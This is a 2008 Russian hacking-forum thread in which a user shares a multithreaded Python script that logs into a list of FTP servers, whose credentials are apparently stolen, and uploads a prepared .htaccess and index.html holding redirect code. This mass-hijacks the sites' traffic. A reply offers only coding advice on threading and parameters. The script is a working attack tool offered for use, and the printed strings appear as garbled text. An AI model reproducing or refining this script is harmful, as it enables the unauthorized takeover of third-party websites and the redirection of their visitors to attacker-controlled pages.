Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   [Python] Заливка редиректов на FTP (https://forum.antichat.xyz/showthread.php?t=95345)

login999 08.12.2008 14:07

[Python] Заливка редиректов на FTP
 
Вот накорябал скриптягу на Python для заливки редиректов на фтп, для работы нужны 1.htaccess и index.html с кодом редиректа (Идея взята из Чаковского скрипта), скрипт заточен под Win-консоль (заточка заключается в кодировке :)) Скрипт вроде кагбэ даже многопоточный.
П.С. Время задержки зависит от вашего канала/количества потоков - так что с оптимальной величиной нужно поэкспериментировать.
П.П.С. КОНСТРУКТИВНАЯ критика приветствуется (кому не нравится - не качаем)

Код:

#!/usr/bin/env python
# -*- coding:Cp866 -*-
import ftplib,time,urlparse,threading
print "                          џ «оЎ«о «о¤Ґ©! (c) Dolphin"
print ""
ftp_list_file_name=raw_input("‚ўҐ¤ЁвҐ Ё¬п FTP-«Ёбв* :")
thr_num=int(raw_input("‚ўҐ¤ЁвҐ Є®«ЁзҐбвў® Ї®в®Є®ў :"))
del_time=int(raw_input("“Є*¦ЁвҐ ўаҐ¬п §*¤Ґа¦ЄЁ :"))
def con_write():
    ftp_server=ftp_list.pop()[:-1]
    addr=urlparse.urlparse(ftp_server)
    try:
        con_serv=ftplib.FTP(addr.hostname,addr.username,addr.password,timeout=10)
        try:
            con_serv.storbinary("STOR .htaccess", open("1.htaccess"))
            print ".htaccess ў:" + addr.hostname+":"+addr.username+" б®еа**с* гбЇҐи*® "
        except Exception:
            print ".htaccess  ў:"+ addr.hostname+":"+addr.username+" *Ґ б®еа**Ґ*"
        try:
            con_serv.storbinary("STOR index.html", open("index.html"))
            print "index.html ў:" + addr.hostname+":"+addr.username+" б®еа**Ґ* гбЇҐи*®"
        except Exception: 
            print "index.html ў:"+ addr.hostname +":"+addr.username+" *Ґ б®еа**Ґ*"
        try:
            con_serv.quit
        except Exception:
            print "ЌҐ ¬®Јг §*Єалвм ᮥ¤Ё*Ґ*ЁҐ б FTP бҐаўҐа®¬"
        except Exception:
            print "ЋиЁЎЄ* §*ЇЁбЁ"
    except Exception:
          print "ЌҐ ¬®Јг Ї®¤Є«озЁвмбп Є FTP бҐаўҐаг"

with open(ftp_list_file_name) as ftp_list:
        ftp_list=list(ftp_list)
        for x in ftp_list:
            while threading.activeCount() > thr_num:time.sleep(del_time)
            threading.Thread(target=con_write).start()
            while threading.activeCount() > thr_num:time.sleep(del_time)
            print threading.activeCount()
print "‚лЈаг§Є* §*Є®*зҐ**"+" ў "+ time.strftime("%H:%M:%S %d:%m:%Y")


Digimortal 08.12.2008 16:28

>> заточка заключается в кодировке

Удобней выводить юникод-текст в консоль.

А еще удобней было б задавать ftp_list_file_name, thr_num, del_time как параметры при запуске.

Многопоточнось реализована некорректно. Правильнее будет использовать метод join, а не с помощью таких вот сравнений и засыпаний. )


Время: 23:21